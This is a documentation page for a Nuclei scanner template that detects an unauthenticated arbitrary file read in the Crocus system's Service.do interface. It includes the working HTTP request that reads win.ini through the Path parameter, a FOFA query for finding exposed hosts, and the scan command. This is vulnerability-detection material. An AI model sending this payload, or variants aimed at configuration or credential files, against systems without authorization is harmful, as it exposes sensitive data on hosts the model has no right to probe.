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Nuclei Templates

Crocus system Service.do - Arbitrary File Read

ID: crocus-lfi

Severity: high

Author: pussycat0x

Tags: crocus,lfi

Description

Section titled “Description”

There is an arbitrary file reading vulnerability in the Service.do interface of Ruiming Technology’s Crocus system. An unauthenticated remote attacker can use this vulnerability to read important system files (such as database configuration files, system configuration files), database configuration files, etc. This leaves the website in an extremely unsafe state.

YAML Source

Section titled “YAML Source”
id: crocus-lfi


info:
  name: Crocus system Service.do  - Arbitrary File Read
  author: pussycat0x
  severity: high
  description: |
    There is an arbitrary file reading vulnerability in the Service.do interface of Ruiming Technology's Crocus system. An unauthenticated remote attacker can use this vulnerability to read important system files (such as database configuration files, system configuration files), database configuration files, etc. This leaves the website in an extremely unsafe state.
  reference:
    - https://github.com/wy876/POC/blob/main/%E9%94%90%E6%98%8E%E6%8A%80%E6%9C%AFCrocus%E7%B3%BB%E7%BB%9FService.do%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="/ThirdResource/respond/respond.min.js" && title="Crocus"
  tags: crocus,lfi


http:
  - raw:
      - |
        GET /Service.do?Action=Download&Path=C:/windows/win.ini HTTP/1.1
        Host: {{Hostname}}
        X-Requested-With: XMLHttpRequest


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and


      - type: status
        status:
          - 200
# digest: 4a0a004730450221009487fd953913c3ff945ca5893d70dc9f414c088c395b78bc679197eac7585cd90220530f50d6cda495159ef5baeb4164a519bf5e504cacae3a414e53af796c588486:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/other/crocus-lfi.yaml"

View on Github